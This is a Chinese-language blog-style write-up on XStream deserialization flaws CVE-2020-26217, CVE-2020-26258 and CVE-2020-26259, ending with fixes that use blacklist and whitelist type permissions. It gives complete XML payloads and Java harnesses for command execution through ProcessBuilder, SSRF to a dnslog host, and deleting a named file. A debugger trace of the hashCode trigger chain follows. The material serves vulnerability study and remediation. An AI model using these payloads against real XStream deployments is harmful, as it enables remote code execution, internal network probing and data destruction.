xstream 反序列化漏洞研究与修复
文章目录
- 1、简介
- 2、举例
- 3、漏洞
- CVE-2020-26217
- CVE-2020-26258
- CVE-2020-26259
- 调试
- 4、修复
1、简介
xstream是一个用于序列化和反序列化的java库,主要是java对象和xml之间相互转换。
XStream反序列化同fastjson这种不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters,而XStream的反序列化过程中赋值都有Java的反射机制来完成,所以并没有这样主动调用的特性。
特点
- 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例
- 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化
- 性能 - XStream快速和低内存占用,适合于大对象图或系统
- 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读
- 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类,默认构造函数不是强制性的要求
- 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用
- 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册
- 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题
- 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题
- 另一种输出格式 - XStream支持其它的输出格式,如JSON
2、举例
引入xstream
<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.16</version></dependency>
随便创建一个Student类,用于反序列化和被反序列化:
package xstream;public class Student {public String name;public String sex;//@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)public Object myObject;public Student(){System.out.println("Student 构造函数");}public String getName(){System.out.println("getName");return name;}public void setName(String name){System.out.println("setName");this.name = name;}public String getSex(){System.out.println("getSex");return sex;}public void setSex(String sex){System.out.println("setSex");this.sex = sex;}public Object getMyObject() {System.out.println("getMyObject");return myObject;}public void setMyObject(Object myObject) {System.out.println("setMyObject");this.myObject = myObject;}@Overridepublic String toString() {return String.format("Student.name=%s, Student.sex=%s", name, sex);}
}
具体实现栗子
package xstream;import com.fasterxml.jackson.databind.ObjectMapper;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;import java.io.IOException;public class XstreamPoc {public static void main(String[] args) throws IOException {poc01();}public static void poc01() throws IOException {Student student = new Student();student.setName("5wimming");student.setSex("boy");XStream xstream = new XStream(new StaxDriver());String xml = xstream.toXML(student);System.out.println(xml);Student student02 = (Student) xstream.fromXML(xml);System.out.println(student02);}}
运行结果如下
Student 构造函数
setName
setSex
<?xml version="1.0" ?><xstream.Student><name>5wimming</name><sex>boy</sex></xstream.Student>
Student.name=5wimming, Student.sex=boy
3、漏洞
CVE-2020-26217
首先引入满足漏洞条件的xstream包,小于1.4.13即可
<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.11</version></dependency>
官方给的poc
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='java.io.SequenceInputStream'><e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'><iterator class='javax.imageio.spi.FilterIterator'><iter class='java.util.ArrayList$Itr'><cursor>0</cursor><lastRet>-1</lastRet><expectedModCount>1</expectedModCount><outer-class><java.lang.ProcessBuilder><command><string>calc</string></command></java.lang.ProcessBuilder></outer-class></iter><filter class='javax.imageio.ImageIO$ContainsFilter'><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>start</name></filter><next/></iterator><type>KEYS</type></e><in class='java.io.ByteArrayInputStream'><buf></buf><pos>0</pos><mark>0</mark><count>0</count></in></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>
建一个poc:
package xstream;import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;import java.io.IOException;public class XstreamPoc {public static void main(String[] args) throws IOException {poc02();}public static void poc02(){String pocXml = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +" <contentType>text/plain</contentType>\n" +" <is class='java.io.SequenceInputStream'>\n" +" <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +" <iterator class='javax.imageio.spi.FilterIterator'>\n" +" <iter class='java.util.ArrayList$Itr'>\n" +" <cursor>0</cursor>\n" +" <lastRet>-1</lastRet>\n" +" <expectedModCount>1</expectedModCount>\n" +" <outer-class>\n" +" <java.lang.ProcessBuilder>\n" +" <command>\n" +" <string>calc</string>\n" +" </command>\n" +" </java.lang.ProcessBuilder>\n" +" </outer-class>\n" +" </iter>\n" +" <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +" <method>\n" +" <class>java.lang.ProcessBuilder</class>\n" +" <name>start</name>\n" +" <parameter-types/>\n" +" </method>\n" +" <name>start</name>\n" +" </filter>\n" +" <next/>\n" +" </iterator>\n" +" <type>KEYS</type>\n" +" </e>\n" +" <in class='java.io.ByteArrayInputStream'>\n" +" <buf></buf>\n" +" <pos>0</pos>\n" +" <mark>0</mark>\n" +" <count>0</count>\n" +" </in>\n" +" </is>\n" +" <consumed>false</consumed>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}
}
运行后弹出计算器
CVE-2020-26258
这是一个SSRF漏洞,xstream版本小于1.4.14
漏洞payload:
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='javax.activation.URLDataSource'><url>http://localhost:8080/internal/:</url></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>
poc如下:
public static void poc03(){// CVE-2020-26258String pocXml = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='javax.activation.URLDataSource'>\n" +" <url>http://xstream26258.dnslog.com/:</url>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}
运行,发现dnslog成功了
CVE-2020-26259
这是一个任意文件删除漏洞,xstream版本需要小于1.4.14
首先在某个目录下创建一个test.txt,payload如下:
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'><dataHandler><dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'><contentType>text/plain</contentType><is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'><tempFile>/Users/5wimming/temp/test.txt</tempFile></is></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><string>test</string></entry>
</map>
poc如下:
public static void poc04(){String pocXml = "<map>\n" +" <entry>\n" +" <jdk.nashorn.internal.objects.NativeString>\n" +" <flags>0</flags>\n" +" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +" <dataHandler>\n" +" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +" <contentType>text/plain</contentType>\n" +" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +" <tempFile>/Users/5wimming/temp/test.txt</tempFile>\n" +" </is>\n" +" </dataSource>\n" +" <transferFlavors/>\n" +" </dataHandler>\n" +" <dataLen>0</dataLen>\n" +" </value>\n" +" </jdk.nashorn.internal.objects.NativeString>\n" +" <string>test</string>\n" +" </entry>\n" +"</map>";XStream xstream = new XStream(new StaxDriver());xstream.fromXML(pocXml);}
执行,然后文件说没就没了。
调试
我们调试一下后面几个漏洞吧
首先进入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函数
接着进入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函数
中间一大坨枯燥无味就不跟了,直奔主题。
跟进到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函数,在 Xstream 构建 entry 的过程中,将本次的key 值NativeString, put 到 map中:
强制进入put函数中,发现key值会被传进hash函数,继续跟进
发现key值就调用hashCode()函数,这就是问题所在,如果恶意类在hashCode中有恶意操作,就可以利用起来了,刚好NativeString就是这个类
我们进入jdk.nashorn.internal.objects.NativeString#hashCode函数,发现它调用了getStringValue函数,而getStringValue函数里面的value又调用了toString函数,这里的value就是Base64Data类
跟进toString函数,发现调用了get函数,继续跟进get函数
发现CVE-2020-26258和CVE-2020-26259这的触发点,CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行。而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函数与 close 函数分别进行 ssrf 和文件删除。
下面是getInputStream 函数导致SSRF漏洞的触发点
下面是close函数导致文件删除的触发点
4、修复
黑名单方式
XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
//将ImageIO类加入黑名单
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);
白名单方式
XStream xstream = new XStream();
// 首先清除默认设置,然后进行自定义设置
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基础的类型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定义的类列表
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
参考:
https://www.jianshu.com/p/d8e6c5488353
https://www.cnblogs.com/v1ntlyn/p/14034019.html
https://blog.csdn.net/further_eye/article/details/110421329
xstream 反序列化漏洞研究与修复相关推荐
- Java反序列化漏洞研究
Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...
- XStream反序列化漏洞分析
XStream反序列化漏洞分析 XStream反序列化漏洞分析 代理模式 EventHandler XStream 生成payload XStream流程分析 写在最后 XStream反序列化漏洞分析 ...
- XStream 反序列化漏洞 (CVE-2020-26258 26259) 的复现与分析
聚焦源代码安全,网罗国内外最新资讯! Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象.XStream 是一款开源软件,允许在 BSD 许可证的许可下分 ...
- Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞
环境搭建 首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...
- fastjson反序列化漏洞研究(下)
博文内容中字符过多,拒绝显示 转载于:https://www.cnblogs.com/jinqi520/p/11576537.html
- Fastjson反序列化漏洞研究
http://www.cnblogs.com/mrchang/p/6789060.html 转载于:https://blog.51cto.com/duallay/1925702
- YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...
- 修而未复:说说WebLogic那修不完的Java反序列化漏洞
编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,最终的修复仍然未彻底解决问题. 背景 当 ...
- APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析
聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...
最新文章
- 高颜值的神经网络可视化工具:3D、彩色、可定制,还能可视化参数重要性
- amazeui页面分析之登录页面
- VMware ESXi客户端连接控制台时提示“VMRC控制台连接已断开...正在尝试重新连接“的解决方法
- ISE 14.7安装教程最新版(Win10安装)——解决Win10安装完后打不开快捷方式的方法
- go mongodb排序查询_【赵强老师】MongoDB中的索引(下)
- C语言实现牛顿-拉夫逊newton raphson求近似根roots(附完整源码)
- 手动脱UPX壳的几种方法
- 词嵌入应用_神经词嵌入的法律应用
- SQL SERVER2014 安装 Error code 0x858C001B.
- 前端面试题2021(超详细)
- d3_3 ATM模拟系统
- java模拟form表单提交图片文件
- AI 脑补宋明清皇帝长相,四大模型构想真实五官
- 引用限定符 reference qualifiers
- 美团旅行前端技术体系的思考与实践
- beego/logs模块的使用
- 自然语言处理基础技术之语义角色标注
- Processing学习 — Processing结合Kinect2实现人影互动
- c语言基础题(笔记二)
- OpenGL 3.0,等得花儿都谢了